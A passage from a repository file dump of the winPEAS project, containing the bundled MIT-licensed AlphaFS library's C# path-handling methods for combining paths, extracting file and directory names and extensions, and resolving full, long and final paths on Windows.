paths[index].Length;\n\n\n               var ch = paths[index][paths[index].Length - 1];\n\n               if (!IsDVsc(ch, null))\n                  ++capacity;\n            }\n         }\n\n\n         var buffer = new StringBuilder(capacity);\n\n         for (var index = num; index < paths.Length; ++index)\n         {\n            if (paths[index].Length != 0)\n            {\n               if (buffer.Length == 0)\n                  buffer.Append(paths[index]);\n\n               else\n               {\n                  var ch = buffer[buffer.Length - 1];\n\n                  if (!IsDVsc(ch, null))\n                     buffer.Append(DirectorySeparatorChar);\n\n                  buffer.Append(paths[index]);\n               }\n            }\n         }\n\n         return buffer.ToString();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetDirectoryNameCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Returns the directory information for the specified path string.</summary>\n      /// <returns>\n      ///   Directory information for <paramref name=\"path\"/>, or <c>null</c> if <paramref name=\"path\"/> denotes a root directory or is\n      ///   <c>null</c>. Returns <see cref=\"string.Empty\"/> if <paramref name=\"path\"/> does not contain directory information.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path of a file or directory.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      internal static string GetDirectoryNameCore(string path, bool checkInvalidPathChars)\n      {\n         if (null != path)\n         {\n            var rootLength = GetRootLength(path, checkInvalidPathChars);\n\n            if (path.Length > rootLength)\n            {\n               var length = path.Length;\n\n               if (length == rootLength)\n                  return null;\n\n               while (length > rootLength && path[--length] != DirectorySeparatorChar && path[length] != AltDirectorySeparatorChar) { }\n\n               return path.Substring(0, length).Replace(AltDirectorySeparatorChar, DirectorySeparatorChar);\n            }\n         }\n\n         return null;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetDirectoryNameWithoutRootCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Returns the directory information for the specified path string without the root information, for example: \"C:\\Windows\\system32\" returns: \"Windows\".</summary>\n      /// <returns>The <paramref name=\"path\"/>without the file name part and without the root information (if any), or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> denotes a root (such as \"\\\", \"C:\", or * \"\\\\server\\share\").</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static string GetDirectoryNameWithoutRootCore(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         if (null == path)\n            return null;\n\n         var parentFolder = Directory.GetParentCore(transaction, path, pathFormat);\n\n         return null != parentFolder && null != parentFolder.Parent ? parentFolder.Name : null;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetExtensionCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Returns the extension of the specified path string.</summary>\n      /// <returns>\n      ///   <para>The extension of the specified path (including the period \".\"), or null, or <see cref=\"string.Empty\"/>.</para>\n      ///   <para>If <paramref name=\"path\"/> is null, this method returns null.</para>\n      ///   <para>If <paramref name=\"path\"/> does not have extension information,\n      ///   this method returns <see cref=\"string.Empty\"/>.</para>\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path string from which to get the extension. The path cannot contain any of the characters defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      internal static string GetExtensionCore(string path, bool checkInvalidPathChars)\n      {\n         if (null == path)\n            return null;\n\n         if (checkInvalidPathChars)\n            CheckInvalidPathChars(path, false, true);\n\n         var length = path.Length;\n         var index = length;\n\n         while (--index >= 0)\n         {\n            var ch = path[index];\n\n            if (ch == ExtensionSeparatorChar)\n               return index != length - 1 ? path.Substring(index, length - index) : string.Empty;\n\n            if (IsDVsc(ch, null))\n               break;\n         }\n\n         return string.Empty;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetFileNameCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Returns the file name and extension of the specified path string.</summary>\n      /// <returns>\n      ///   The characters after the last directory character in <paramref name=\"path\"/>. If the last character of <paramref name=\"path\"/> is a\n      ///   directory or volume separator character, this method returns <c>string.Empty</c>. If path is null, this method returns null.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path string from which to obtain the file name and extension.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1062:Validate arguments of public methods\", MessageId = \"0\", Justification = \"Utils.IsNullOrWhiteSpace validates arguments.\")]\n      [SecurityCritical]\n      internal static string GetFileNameCore(string path, bool checkInvalidPathChars)\n      {\n         if (null == path)\n            return null;\n\n         if (checkInvalidPathChars)\n            CheckInvalidPathChars(path, false, true);\n\n         var length = path.Length;\n         var index = length;\n\n         while (--index >= 0)\n         {\n            var ch = path[index];\n\n            if (IsDVsc(ch, null))\n               return path.Substring(index + 1, length - index - 1);\n         }\n\n         return path;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetFileNameWithoutExtensionCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Returns the file name of the specified path string without the extension.</summary>\n      /// <returns>The string returned by GetFileName, minus the last period (.) and all characters following it.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path of the file. The path cannot contain any of the characters defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      internal static string GetFileNameWithoutExtensionCore(string path, bool checkInvalidPathChars)\n      {\n         int pathIndex;\n\n         path = GetFileName(path, checkInvalidPathChars);\n         \n         return null != path ? ((pathIndex = path.LastIndexOf(ExtensionSeparatorChar)) == -1 ? path : path.Substring(0, pathIndex)) : null;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetFinalPathNameByHandleCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Diagnostics;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Linq;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Retrieves the final path for the specified file, formatted as <see cref=\"FinalPathFormats\"/>.</summary>\n      /// <returns>The final path as a string.</returns>\n      /// <remarks>\n      ///   A final path is the path that is returned when a path is fully resolved. For example, for a symbolic link named \"C:\\tmp\\mydir\" that\n      ///   points to \"D:\\yourdir\", the final path would be \"D:\\yourdir\". The string that is returned by this function uses the\n      ///   <see cref=\"LongPathPrefix\"/> syntax.\n      /// </remarks>\n      /// <param name=\"handle\">Then handle to a <see cref=\"SafeFileHandle\"/> instance.</param>\n      /// <param name=\"finalPath\">The final path, formatted as <see cref=\"FinalPathFormats\"/></param>\n      [SecurityCritical]\n      internal static string GetFinalPathNameByHandleCore(SafeFileHandle handle, FinalPathFormats finalPath)\n      {\n         NativeMethods.IsValidHandle(handle);\n\n         var buffer = new StringBuilder(NativeMethods.MaxPathUnicode);\n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n         {\n            if (NativeMethods.IsAtLeastWindowsVista)\n            {\n               // MSDN: GetFinalPathNameByHandle(): If the function fails for any other reason, the return value is zero.\n\n               var success = NativeMethods.GetFinalPathNameByHandle(handle, buffer, (uint) buffer.Capacity, finalPath) == Win32Errors.ERROR_SUCCESS;\n\n               var lastError = Marshal.GetLastWin32Error();\n               if (!success && lastError != Win32Errors.ERROR_SUCCESS)\n                  NativeError.ThrowException(lastError);\n\n\n               return buffer.ToString();\n            }\n         }\n\n         \n         // Older OperatingSystem\n\n         // Obtaining a File Name From a File Handle\n         // http://msdn.microsoft.com/en-us/library/aa366789%28VS.85%29.aspx\n\n         // Be careful when using GetFileSizeEx to check the size of hFile handle of an unknown \"File\" type object.\n         // This is more towards returning a filename from a file handle. If the handle is a named pipe handle it seems to hang the thread.\n         // Check for: FileTypes.DiskFile\n\n         // Can't map a 0 byte file.\n         long fileSizeHi;\n         if (!NativeMethods.GetFileSizeEx(handle, out fileSizeHi))\n            if (fileSizeHi == 0)\n               return string.Empty;\n\n\n         // PAGE_READONLY\n         // Allows views to be mapped for read-only or copy-on-write access. An attempt to write to a specific region results in an access violation.\n         // The file handle that the hFile parameter specifies must be created with the GENERIC_READ access right.\n         // PageReadOnly = 0x02,\n         using (var handle2 = NativeMethods.CreateFileMapping(handle, null, 2, 0, 1, null))\n         {\n            NativeMethods.IsValidHandle(handle, Marshal.GetLastWin32Error());\n\n            // FILE_MAP_READ\n            // Read = 4\n            using (var pMem = NativeMethods.MapViewOfFile(handle2, 4, 0, 0, (UIntPtr)1))\n            {\n               if (NativeMethods.IsValidHandle(pMem, Marshal.GetLastWin32Error()))\n                  if (NativeMethods.GetMappedFileName(Process.GetCurrentProcess().Handle, pMem, buffer, (uint) buffer.Capacity))\n                     NativeMethods.UnmapViewOfFile(pMem);\n            }\n         }\n\n\n         // Default output from GetMappedFileName(): \"\\Device\\HarddiskVolumeX\\path\\filename.ext\"\n         var dosDevice = buffer.Length > 0 ? buffer.ToString() : string.Empty;\n\n\n         // Select output format.\n         switch (finalPath)\n         {\n            // As-is: \"\\Device\\HarddiskVolumeX\\path\\filename.ext\"\n            case FinalPathFormats.VolumeNameNT:\n               return dosDevice;\n\n\n            // To: \"\\path\\filename.ext\"\n            case FinalPathFormats.VolumeNameNone:\n               return DosDeviceToDosPath(dosDevice, string.Empty);\n\n\n            // To: \"\\\\?\\Volume{GUID}\\path\\filename.ext\"\n            case FinalPathFormats.VolumeNameGuid:\n               var dosPath = DosDeviceToDosPath(dosDevice, null);\n\n               if (!Utils.IsNullOrWhiteSpace(dosPath))\n               {\n                  var driveLetter = RemoveTrailingDirectorySeparator(GetPathRoot(dosPath, false));\n                  var file = GetFileName(dosPath, true);\n\n\n                  if (!Utils.IsNullOrWhiteSpace(file))\n                  { \n                     foreach (var drive in Directory.EnumerateLogicalDrivesCore(false, false)\n                        \n                        .Select(drv => drv.Name).Where(drv => driveLetter.Equals(RemoveTrailingDirectorySeparator(drv), StringComparison.OrdinalIgnoreCase)))\n\n                        return CombineCore(false, Volume.GetUniqueVolumeNameForPath(drive), GetSuffixedDirectoryNameWithoutRootCore(null, dosPath, PathFormat.FullPath), file);\n                  }\n               }\n\n               break;\n         }\n\n\n         // To: \"\\\\?\\C:\\path\\filename.ext\"\n         return !Utils.IsNullOrWhiteSpace(dosDevice) ? LongPathPrefix + DosDeviceToDosPath(dosDevice, null) : string.Empty;\n      }\n\n\n      /// <summary>Tranlates DosDevicePath, Volume GUID. For example: \"\\Device\\HarddiskVolumeX\\path\\filename.ext\" can translate to: \"\\path\\filename.ext\" or: \"\\\\?\\Volume{GUID}\\path\\filename.ext\".</summary>\n      /// <returns>A translated dos path.</returns>\n      /// <param name=\"dosDevice\">A DosDevicePath, for example: \\Device\\HarddiskVolumeX\\path\\filename.ext.</param>\n      /// <param name=\"deviceReplacement\">Alternate path/device text, usually <c>string.Empty</c> or <c>null</c>.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      [SecurityCritical]\n      private static string DosDeviceToDosPath(string dosDevice, string deviceReplacement)\n      {\n         if (Utils.IsNullOrWhiteSpace(dosDevice))\n            return string.Empty;\n\n\n         foreach (var drive in Directory.EnumerateLogicalDrivesCore(false, false).Select(drv => drv.Name))\n         {\n            try\n            {\n               var path = RemoveTrailingDirectorySeparator(drive);\n\n               foreach (var devNt in Volume.QueryAllDosDevices().Where(device => device.StartsWith(path, StringComparison.OrdinalIgnoreCase)).ToArray())\n\n                  return dosDevice.ReplaceIgnoreCase(devNt, deviceReplacement ?? path);\n            }\n            catch\n            {\n            }\n         }\n\n         return string.Empty;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetFullPathCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Retrieves the absolute path for the specified <paramref name=\"path\"/> string.</summary>\n      /// <returns>The fully qualified location of <paramref name=\"path\"/>, such as \"C:\\MyFile.txt\".</returns>\n      /// <remarks>\n      /// <para>GetFullPathName merges the name of the current drive and directory with a specified file name to determine the full path and file name of a specified file.</para>\n      /// <para>It also calculates the address of the file name portion of the full path and file name.</para>\n      /// <para>&#160;</para>\n      /// <para>This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.</para>\n      /// <para>The .NET Framework does not support direct access to physical disks through paths that are device names, such as <c>\\\\.\\PhysicalDrive0</c>.</para>\n      /// <para>&#160;</para>\n      /// <para>MSDN: Multithreaded applications and shared library code should not use the GetFullPathName function and</para>\n      /// <para>should avoid using relative path names. The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process,</para>\n      /// <para>therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value.</para>\n      /// <para>This limitation also applies to the SetCurrentDirectory and GetCurrentDirectory functions. The exception being when the application is guaranteed to be running in a single thread,</para>\n      /// <para>for example parsing file names from the command line argument string in the main thread prior to creating any additional threads.</para>\n      /// <para>Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"checkSupported\"></param>\n      /// <param name=\"path\">The file or directory for which to obtain absolute path information.</param>\n      /// <param name=\"options\">Options for controlling the full path retrieval.</param>\n      [SecurityCritical]\n      internal static string GetFullPathCore(KernelTransaction transaction, bool checkSupported, string path, GetFullPathOptions options)\n      {\n         // Skip the special paths recognised by Windows kernel only.\n\n         if (null != path)\n         {\n            if (path.StartsWith(GlobalRootPrefix, StringComparison.OrdinalIgnoreCase) ||\n                path.StartsWith(VolumePrefix, StringComparison.OrdinalIgnoreCase) ||\n                path.StartsWith(NonInterpretedPathPrefix, StringComparison.Ordinal))\n\n               return path;\n\n\n            if (checkSupported)\n            {\n               CheckInvalidUncPath(path);\n\n               CheckSupportedPathFormat(path, true, true);\n            }\n         }\n\n\n         if (options != GetFullPathOptions.None)\n         {\n            if (!checkSupported && (options & GetFullPathOptions.CheckInvalidPathChars) != 0)\n            {\n               var checkAdditional = (options & GetFullPathOptions.CheckAdditional) != 0;\n\n               CheckInvalidPathChars(path, checkAdditional, false);\n               \n\n               // Prevent duplicate checks.\n               options &= ~GetFullPathOptions.CheckInvalidPathChars;\n\n               if (checkAdditional)\n                  options &= ~GetFullPathOptions.CheckAdditional;\n            }\n\n            // Do not remove trailing directory separator when path points to a drive like: \"C:\\\"\n            // Doing so makes path point to the current directory.\n\n            // \".\", \"C:\", \"C:\\\"\n            if (null == path || path.Length <= 3 || !path.StartsWith(LongPathPrefix, StringComparison.Ordinal) && path[1] != VolumeSeparatorChar)\n               options &= ~GetFullPathOptions.RemoveTrailingDirectorySeparator;\n         }\n         \n\n         var pathLp = GetLongPathCore(path, options);\n\n         uint bufferSize = NativeMethods.MaxPathUnicode;\n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n         {\n         \n      startGetFullPathName:\n\n            var buffer = new StringBuilder((int) bufferSize);\n\n            var returnLength = null == transaction || !NativeMethods.IsAtLeastWindowsVista\n\n               // GetFullPathName() / GetFullPathNameTransacted()\n               // 2013-04-15: MSDN confirms LongPath usage.\n\n               ? NativeMethods.GetFullPathName(pathLp, bufferSize, buffer, IntPtr.Zero)\n\n               : NativeMethods.GetFullPathNameTransacted(pathLp, bufferSize, buffer, IntPtr.Zero, transaction.SafeHandle);\n\n\n            if (returnLength != Win32Errors.NO_ERROR)\n            {\n               if (returnLength > bufferSize)\n               {\n                  bufferSize = returnLength;\n                  goto startGetFullPathName;\n               }\n            }\n\n            else\n            {\n               if ((options & GetFullPathOptions.ContinueOnNonExist) != 0)\n                  return null;\n\n               NativeError.ThrowException(returnLength, pathLp);\n            }\n\n\n            var finalFullPath = (options & GetFullPathOptions.AsLongPath) != 0 ? GetLongPathCore(buffer.ToString(), GetFullPathOptions.None) : GetRegularPathCore(buffer.ToString(), GetFullPathOptions.None, false);\n            \n            finalFullPath = NormalizePath(finalFullPath, options);\n            \n\n            if ((options & GetFullPathOptions.KeepDotOrSpace) != 0)\n            {\n               if (pathLp.EndsWith(CurrentDirectoryPrefix, StringComparison.Ordinal))\n\n                  finalFullPath += CurrentDirectoryPrefix;\n\n\n               var lastChar = pathLp[pathLp.Length - 1];\n\n               if (char.IsWhiteSpace(lastChar))\n\n                  finalFullPath += lastChar;\n            }\n\n\n            return finalFullPath;\n         }\n      }\n\n\n      /// <summary>Applies the <seealso cref=\"GetFullPathOptions\"/> to <paramref name=\"path\"/>.</summary>\n      /// <returns><paramref name=\"path\"/> with applied <paramref name=\"options\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\"></param>\n      /// <param name=\"options\"></param>\n      private static string ApplyFullPathOptions(string path, GetFullPathOptions options)\n      {\n         if ((options & GetFullPathOptions.TrimEnd) != 0)\n            if ((options & GetFullPathOptions.KeepDotOrSpace) == 0)\n               path = path.TrimEnd();\n\n         if ((options & GetFullPathOptions.AddTrailingDirectorySeparator) != 0)\n            path = AddTrailingDirectorySeparator(path, false);\n\n         if ((options & GetFullPathOptions.RemoveTrailingDirectorySeparator) != 0)\n            path = RemoveTrailingDirectorySeparator(path);\n\n         if ((options & GetFullPathOptions.CheckInvalidPathChars) != 0)\n            CheckInvalidPathChars(path, (options & GetFullPathOptions.CheckAdditional) != 0, false);\n\n\n         // Trim leading whitespace.\n         if ((options & GetFullPathOptions.KeepDotOrSpace) == 0)\n            path = path.TrimStart();\n\n         return path;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetLongPathCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Makes an extended long path from the specified <paramref name=\"path\"/> by prefixing <see cref=\"LongPathPrefix\"/>.</summary>\n      /// <returns>The <paramref name=\"path\"/> prefixed with a <see cref=\"LongPathPrefix\"/>, the minimum required full path is: \"C:\\\".</returns>\n      /// <remarks>This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to the file or directory, this can also be an UNC path.</param>\n      /// <param name=\"options\">Options for controlling the full path retrieval.</param>\n      